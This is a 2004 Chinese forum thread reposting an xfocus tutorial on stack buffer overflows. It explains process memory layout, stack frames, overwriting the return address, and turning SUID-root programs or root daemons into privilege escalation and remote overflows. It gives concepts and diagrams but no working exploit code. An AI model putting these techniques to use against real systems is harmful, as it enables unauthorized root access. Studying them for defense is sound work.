    一切搞定!运行之后,"Success!"成功打印出来!不过,由于这个程序破坏了堆栈,所以系统会提示程序遇到问题需要关闭。但这并不要紧,因为至少我们已经迈出了万里长征的第一步。

2003.10.6夜--10.7早上
发表于 2004-8-6 18:13:00 | 显示全部楼层
关于可执行文件的内存映像,这里有一段很好的原理描述:


本文出自:http://xfocus.org/ 作者:黑猫(virtualcat@hotmail.com) (2001-09-09 08:05:00)

1. Buffer overflow是如何产生的?
所谓Buffer overflow, 中文译为缓冲区溢出. 顾名思意, 就是说所用的缓冲区太小了, 以至装不下
那么多的东西, 多出来的东西跑出来了. 就好象是水缸装不了那么多的水, 硬倒太多会溢出来一样;)
那么, 在编程过程中为什么要用到buffer(缓冲区)呢? 简单的回答就是做为数据处理的中转站.

2. UNIX下C语言函数调用的机制及缓冲区溢出的利用.
1) 进程在内存中的影像.
我们假设现在有一个程序, 它的函数调用顺序如下.
main(...) -> func_1(...) -> func_2(...) -> func_3(...)
即: 主函数main调用函数func_1; 函数func_1调用函数func_2; 函数func_2调用函数func_3

当程序被操作系统调入内存运行, 其相对应的进程在内存中的影像如下图所示.

(内存高址)
+--------------------------------------+
| ...... | ... 省略了一些我们不需要关心的区
+--------------------------------------+
| env strings (环境变量字串) | \
+--------------------------------------+ \
| argv strings (命令行字串) | \
+--------------------------------------+ \
| env pointers (环境变量指针) | SHELL的环境变量和命令行参数保存区
+--------------------------------------+ /
| argv pointers (命令行参数指针) | /
+--------------------------------------+ /
| argc (命令行参数个数) | /
+--------------------------------------+
| main 函数的栈帧 | \
+--------------------------------------+ \
| func_1 函数的栈帧 | \
+--------------------------------------+ \
| func_2 函数的栈帧 | \
+--------------------------------------+ \
| func_3 函数的栈帧 | Stack (栈)
+......................................+ /
| | /
...... /
| | /
+......................................+ /
| Heap (堆) | /
+--------------------------------------+
| Uninitialised (BSS) data | 非初始化数据(BSS)区
+--------------------------------------+
| Initialised data | 初始化数据区
+--------------------------------------+
| Text | 文本区
+--------------------------------------+
(内存低址)

这里需要说明的是:
i) 随着函数调用层数的增加, 函数栈帧是一块块地向内存低地址方向延伸的.
随着进程中函数调用层数的减少, 即各函数调用的返回, 栈帧会一块块地
被遗弃而向内存的高址方向回缩.
各函数的栈帧大小随着函数的性质的不同而不等, 由函数的局部变量的数目决定.
ii) 进程对内存的动态申请是发生在Heap(堆)里的. 也就是说, 随着系统动态分
配给进程的内存数量的增加, Heap(堆)有可能向高址或低址延伸, 依赖于不
同CPU的实现. 但一般来说是向内存的高地址方向增长的.
iii) 在BSS数据或者Stack(栈)的增长耗尽了系统分配给进程的自由内存的情况下,
进程将会被阻塞, 重新被操作系统用更大的内存模块来调度运行.
(虽然和exploit没有关系, 但是知道一下还是有好处的)
iv) 函数的栈帧里包含了函数的参数(至于被调用函数的参数是放在调用函数的栈
帧还是被调用函数栈帧, 则依赖于不同系统的实现),
它的局部变量以及恢复调用该函数的函数的栈帧(也就是前一个栈帧)所需要的
数据, 其中包含了调用函数的下一条执行指令的地址.
v) 非初始化数据(BSS)区用于存放程序的静态变量, 这部分内存都是被初始化为零的.
初始化数据区用于存放可执行文件里的初始化数据.
这两个区统称为数据区.
vi) Text(文本区)是个只读区, 任何尝试对该区的写操作会导致段违法出错. 文本区
是被多个运行该可执行文件的进程所共享的. 文本区存放了程序的代码.

2) 函数的栈帧.
函数调用时所建立的栈帧包含了下面的信息:
i) 函数的返回地址. 返回地址是存放在调用函数的栈帧还是被调用函数的栈帧里,
取决于不同系统的实现.
ii) 调用函数的栈帧信息, 即栈顶和栈底.
iii) 为函数的局部变量分配的空间
iv) 为被调用函数的参数分配的空间--取决于不同系统的实现.

3) 缓冲区溢出的利用.
从函数的栈帧结构可以看出:
由于函数的局部变量的内存分配是发生在栈帧里的, 所以如果我们在某一个函数里定义
了缓冲区变量, 则这个缓冲区变量所占用的内存空间是在该函数被调用时所建立的栈帧里.

由于对缓冲区的潜在操作(比如字串的复制)都是从内存低址到高址的, 而内存中所保存
的函数调用返回地址往往就在该缓冲区的上方(高地址)--这是由于栈的特性决定的, 这
就为复盖函数的返回地址提供了条件. 当我们有机会用大于目标缓冲区大小的内容来向
缓冲区进行填充时, 就有可以改写函数保存在函数栈帧中的返回地址, 从而使程序的执
行流程随着我们的意图而转移. 换句话来说, 进程接受了我们的控制. 我们可以让进程
改变原来的执行流程, 去执行我们准备好的代码.

这是冯.诺曼计算机体系结构的缺陷.

下面是缓冲区溢出利用的示意图:
i) 函数对字串缓冲区的操作, 方向一般都是从内存低址向高址的.
如: strcpy(s, "AAA.....");

s s+1 s+2 s+3 ...
+---+---+---+--------+---+...+
(内存低址) | A | A | A | ...... | A |...| (内存高址)
+---+---+---+--------+---+...+

ii) 函数返回地址的复盖

/ | ...... | (内存高址)
/ +--------------------+
调用函数栈帧 | 0x41414141 |
\ +--------------------+
\ | 0x41414141 | 调用函数的返回地址
\+--------------------+
/| ...... |
/ +--------------------+ s+8
/ | 0x41414141 |
/ +--------------------+ s+4
被调用函数栈帧 | 0x41414141 |
\ +--------------------+ s
\ | 0x41414141 |
\ +--------------------+
\| ...... |
+....................+
| ...... | (内存低址)

注: 字符A的十六进制ASCII码值为0x41.

iii) 从上图可以看出: 如果我们用的是进程可以访问的某个地址而不是0x41414141
来改写调用函数的返回地址, 而这个地址正好是我们准备好的代码的入口, 那么
进程将会执行我们的代码. 否则, 如果用的是进程无法访问的段的地址, 将会导
致进程崩馈--Segment Fault Core dumped (段出错内核转储); 如果该地址处有
无效的机器指令数据, 将会导致非法指令(Illigal Instruction)错误, 等等.

4) 缓冲区在Heap(堆)区或BBS区的情况
i) 如果缓冲区的内存空间是在函数里通过动态申请得到的(如: 用malloc()函数申请), 那
么在函数的栈帧中只是分配了存放指向Heap(堆)中相应申请到的内存空间的指针. 这种
情况下, 溢出是发生在(Heap)堆中的, 想要复盖相应的函数返回地址, 看来几乎是不可
能的. 这种情况的利用可能性要看具体情形, 但不是不可能的.
ii) 如果缓冲区在函数中定义为静态(static), 则缓冲区内存空间的位置在非初始化(BBS)区,
和在Heap(堆)中的情况差不多, 利用是可能的. 但还有一种特姝情况, 就是可以利用它来
复盖函数指针, 让进程后来调用相应的函数变成调用我们所指定的代码.


3. 从缓冲区溢出的利用可以得到什么?
从上文我们看到, 缓冲区溢出的利用可以使我们能够改写相关内存的内容及函数的返回地址, 从而
改变代码的执行流程, 让进程去执行我们准备好的代码.

但是, 进程是以我们当前登录的用户身份来运行的. 能够执行我们准备好的代码又怎样呢? 我们还
是无法突破系统对当前用户的权限设置, 无法干超越权限的事.

换句话来说, 要想利用缓冲区溢出得到更高的权限, 我们还得利用系统的一些特性.

对于UNIX来讲, 有两个特性可以利用.
i) SUID及SGID程序
UNIX是允许其他用户可以以某个可执行文件的文件拥有者的用户ID或用户组ID的身份来执行该
文件的,这是通过设置该可执行文件的文件属性为SUID或SGID来实现的.
也就是说如果某个可执行文件被设了SUID或SGID, 那么当系统中其他用户执行该文件时就相当
于以该文件属主的用户或用户组身份来执行该文件.
如果某个可执行文件的属主是root, 而这个文件被设了SUID, 那么如果该可执行文件存在可利
用的缓冲区溢出漏洞, 我们就可以利用它来以root的身份执行我们准备好的代码. 没有比让它
为我们产生一个具有超级用户root身份的SHELL更吸引人了, 是不是?

ii) 各种端口守护(服务)进程
UNIX中有不少守护(服务)进程是以root的身份运行的, 如果这些程序存在可利用的缓冲区溢出,
那么我们就可以让它们以当前运行的用户身份--root去执行我们准备被好的代码.
由于守护进程已经以root的身份在运行, 我们并不需要相对应的可执行文件为SUID或SGID属性.
又由于此类利用通常是从远程机器上向目标机器上的端口发送有恶意的数据造成的, 所以叫做
"远程溢出"利用.
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表